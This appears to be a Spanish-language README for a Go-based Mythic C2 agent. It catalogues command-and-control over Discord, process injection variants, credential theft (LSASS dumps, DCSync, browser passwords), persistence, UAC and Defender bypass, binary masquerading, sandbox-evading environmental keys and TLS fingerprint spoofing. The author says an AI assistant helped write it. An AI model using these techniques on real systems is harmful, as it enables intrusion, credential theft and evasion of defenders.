Límite de tasa: Respeta los límites de tasa de la API de Discord con reintento automático y retroceso exponencial (hasta 5 reintentos). El User-Agent está fijado a DiscordBot (https://github.com, 1.0) según lo requerido por la API de Discord.

Requisitos previos de configuración:

  1. Crea un bot de Discord en discord.com/developers
  2. Habilita la intención de Contenido de Mensaje del bot
  3. Añade el bot a un servidor con permisos: Enviar Mensajes, Leer Historial de Mensajes, Adjuntar Archivos, Gestionar Mensajes
  4. Anota el token del bot y el ID del canal objetivo
  5. Configura el contenedor del servidor C2 de Discord con el mismo token de bot y ID de canal en su config.json

Limitaciones conocidas:

  • «Last Checkin» en Mythic se muestra como «Streaming Now» mientras el flujo C2 push está activo (inherente al modo C2 push). Después de ~180s de inactividad del agente, Mythic muestra la marca de tiempo real de la última actividad.
  • Los límites de tasa de la API de Discord pueden introducir latencia durante la asignación de tareas de alta frecuencia
  • El token del bot es un activo crítico de OPSEC — su compromiso expone el canal C2
  • Límite de tamaño de mensaje: ~1950 caracteres en línea, cargas útiles más grandes usan archivos adjuntos

Agradecimientos

Todo lo que sé sobre los Agentes Mythic proviene de la Documentación de Mythic o de robar código e ideas de los agentes Merlin y Freyja.

Después de eso, ha sido exclusivamente alimentar a Claude con enlaces de PoC y pedir cosas geniales. ¿Una locura, verdad?

Técnicas y Referencias

  • Threadless Injection - ThreadlessInject de CCob (implementación original en C#) y go-ThreadlessInject de dreamkinn (puerto a Go)
  • sRDI (Shellcode Reflective DLL Injection) - Implementación de sRDI basada en Go de Merlin, basada originalmente en sRDI de Nick Landers (monoxgas)
  • PoolParty Injection - Investigación PoolParty de SafeBreach Labs (PoC original en C++) - Detalles de variante
  • Opus Injection - Técnicas de inyección basadas en callbacks - Detalles de variante
  • Icono de fénix de OpenClipart
Descargar herramienta
FuenteTipoQué proporciona
RubeusEnsamblado .NETAtaques Kerberos (kerberoasting, forja de tickets, delegación)
SeatbeltEnsamblado .NETAuditoría de seguridad del host (privilegios, credenciales, configuraciones)
CertifyEnsamblado .NETEnumeración y abuso de Servicios de Certificado de AD
SharpHoundEnsamblado .NETRecolección de datos para BloodHound
SharpUpEnsamblado .NETVerificaciones de escalada de privilegios local
SharpViewEnsamblado .NETEnumeración de Active Directory (puerto de PowerView)
nanodumpBOFVolcado de memoria LSASS mediante MiniDumpWriteDump
credmanBOFCosecha del Administrador de Credenciales de Windows
VarianteTécnicaDisparadorShellcode Go
1Sobrescritura de rutina de inicio de Worker FactoryCreación de nuevo hilo de trabajoNo
2Inserción TP_WORKProcesamiento de cola de tareasSí
3Inserción TP_WAITSeñalización de eventosSí
4Inserción TP_IOFinalización de E/S de archivoSí
5Inserción TP_ALPCMensajería de puerto ALPCSí
6Inserción TP_JOBAsignación de objeto de trabajoSí
7Inserción TP_DIRECTPuerto de finalización de E/SSí
8Inserción TP_TIMERExpiración de temporizadorSí
ConfiguraciónExportacionesCaso de uso
standard (predeterminado)Run, Fire, VoidFuncShellcode sRDI, rundll32, cargadores genéricos
fullStandard + DllRegisterServer, DllUnregisterServer, ServiceMain, DllGetClassObject, DllCanUnloadNowregsvr32, servicio svchost, secuestro COM
ExportaciónEjecuciónMITRE
DllRegisterServerregsvr32 /s fawkes.dllT1218.010
DllUnregisterServerregsvr32 /u /s fawkes.dllT1218.010
ServiceMainServicio DLL de svchost.exe (solo Windows)T1543.003
DllGetClassObject + DllCanUnloadNowSecuestro COM InprocServer32T1546.015
inflate_countByte único (ej. 0x90)Dos bytes (ej. 0x41,0x42)
1,0001 KB2 KB
10,00010 KB20 KB
100,000100 KB200 KB
1,000,0001 MB2 MB
3,000,0003 MB6 MB
10,000,00010 MB20 MB
ParámetroTipoDescripción
pe_presetElegirPreajuste rápido de suplantación (notepad, svchost, cmd, explorer, etc.)
pe_companyCadenaCompanyName (ej. "Microsoft Corporation")
pe_descriptionCadenaFileDescription — visible en el Administrador de tareas
pe_productCadenaProductName
pe_versionCadenaVersión de archivo/producto (ej. "10.0.19041.1")
pe_copyrightCadenaLegalCopyright
pe_original_filenameCadenaOriginalFilename — visible para herramientas forenses
pe_iconArchivoArchivo de icono .ico o .png personalizado
pe_manifestElegirNivel UAC: asInvoker, highestAvailable, requireAdministrator
TipoComandos
Creación de procesorun, powershell, spawn, argue
Llamada APInet-enum, net-user, service, wmi, schtask, procdump, hashdump, eventlog, ntdll-unhook, syscalls, firewall, dcom, vss (create/delete), psexec
Matar procesokill
Inyección de procesovanilla-injection, apc-injection, threadless-inject, poolparty-injection, opus-injection, module-stomp, thread-hijack
Escritura de archivoupload, cp, mv
Creación de archivomkdir
Eliminación de archivorm
Modificación de archivotimestomp
Escritura de registroreg (write/delete), remote-reg (set/delete), persist (registry, com-hijack, screensaver methods), uac-bypass, defender (add/remove-exclusion)
Guardado de registroreg (save/creds)
Registro remotoremote-reg (query/enum/set/delete via WinReg RPC)
Servicio remotoremote-service (list/query/create/start/stop/delete/modify-path/trigger/dll-sideload via SVCCTL RPC)
Inicio de sesiónmake-token
Robo de tokensteal-token, getsystem
ComandoTipo de credencialQué se reporta
hashdumphashHashes NTLM de SAM (Windows), hashes NT/LM/SHA de MSV1_0 desde recorrido in-situ de LSASS (Windows, insitu-full), TGTs de Kerberos y tickets de servicio en formato .kirbi (Windows, tickets), hashes de /etc/shadow (Linux), hashes PBKDF2 (macOS)
kerberoasthashTickets TGS para descifrado fuera de línea
asrep-roasthashHashes AS-REP
dcsynchashClaves NTLM + AES mediante DRSGetNCChanges
lsa-secretstexto claro/hash/claveContraseñas de servicios, credenciales en caché, claves DPAPI
lapstexto claroContraseñas LAPS v1 y v2
gpp-passwordtexto claroContraseñas cifradas de GPP desde SYSVOL
browsertexto claroContraseñas guardadas de Chrome/Edge/Firefox (todas las plataformas), cookies (todas las plataformas), historial, autocompletar, marcadores
dpapitexto claro/hashSecretos protegidos por DPAPI
credmantexto claroEntradas del Administrador de Credenciales (en acción de volcado)
make-tokentexto claroCredenciales usadas para la creación del token
cred-harvesthash/texto claro/tokenHashes sombra, variables de entorno de la nube, variables de entorno sensibles, tokens M365 OAuth/JWT, cookies/almacenamiento en vivo del navegador mediante CDP
credential-prompttexto claroCredenciales capturadas mediante diálogo (macOS/Windows/Linux)
Huella digitalDescripción
chromeChrome/Chromium (predeterminado) — navegador más común, mejor para mezclarse
firefoxFirefox
safariSafari
edgeMicrosoft Edge
rotateSelecciona aleatoriamente Chrome/Firefox/Safari/Edge por conexión (evita correlación JA3)
randomHuella digital completamente aleatorizada (no coincide con navegador)
goSin suplantación — usa la pila TLS predeterminada de Go
ParámetroTipoDescripción
env_key_hostnameRegexEl nombre de host debe coincidir (ej. WORKSTATION-\d+ o .*\.contoso\.com)
env_key_domainRegexEl dominio debe coincidir (ej. CONTOSO o .*\.local)
env_key_usernameRegexEl nombre de usuario debe coincidir (ej. admin.* o svc_.*)
env_key_processCadenaNombre del proceso que debe estar en ejecución (ej. outlook.exe)
env_key_cpuidRegexLa cadena de marca de la CPU debe coincidir (ej. .*Intel.*i7-12700.* o .*AMD.*5950X.*). Evita la ejecución en sandboxes con diferentes modelos de CPU.
env_key_deriveElecciónCifra la configuración C2 con una clave derivada de las propiedades del host objetivo. Opciones: hostname, domain, username, hostname+domain, hostname+domain+username. Host incorrecto = falla el descifrado AES = salida silenciosa. Más fuerte que la coincidencia regex — los valores de configuración nunca aparecen en el binario.
  • Retroceso exponencial: Ante fallos consecutivos de C2, el agente duplica su intervalo de espera (limitado a 5 minutos). El intervalo normal se restablece tras un contacto exitoso.
  • Huella digital TLS: Suplanta las huellas digitales JA3 de navegadores (chrome, firefox, safari, edge, rotate, random).
  • Multiplexación HTTP/2: Negociación automática de h2 sobre HTTPS. Multiplexa solicitudes en una sola conexión, imitando el comportamiento del navegador. Retroceso transparente a h1.
  • Secreto hacia adelante: Rotación de clave ECDH X25519 cada N check-ins (key_rotation_interval). Deriva nuevas claves AES-256 mediante HKDF-SHA256, elimina claves antiguas. Limita el radio de explosión de un compromiso de clave.
  • Protección contra repetición: Números de secuencia monotónicos en cada mensaje (dentro del sobre cifrado). Evita la repetición de solicitudes/respuestas capturadas.
  • TLS mutuo (mTLS): La autenticación mediante certificado de cliente evita la intercepción pasiva y el proxy MITM (T1573.002).
  • Domain fronting: Establezca host_header para anular la cabecera HTTP Host.
  • Conmutación por error automática: Configure fallback_hosts para un C2 resiliente.
  • ParámetroTipoDescripciónPor defecto
    discord_tokenStringToken del bot de Discord para autenticación en la API(requerido)
    bot_channelStringID del canal de Discord para intercambio de mensajes(requerido)
    callback_intervalStringSegundos entre sondeos de tareas10
    callback_jitterStringPorcentaje de jitter (0-100)23
    message_checksStringMáximo de intentos de sondeo por intercambio20
    time_between_checksStringSegundos entre intentos de sondeo5
    AESPSKStringClave de cifrado AES-256 precompartida(generado automáticamente)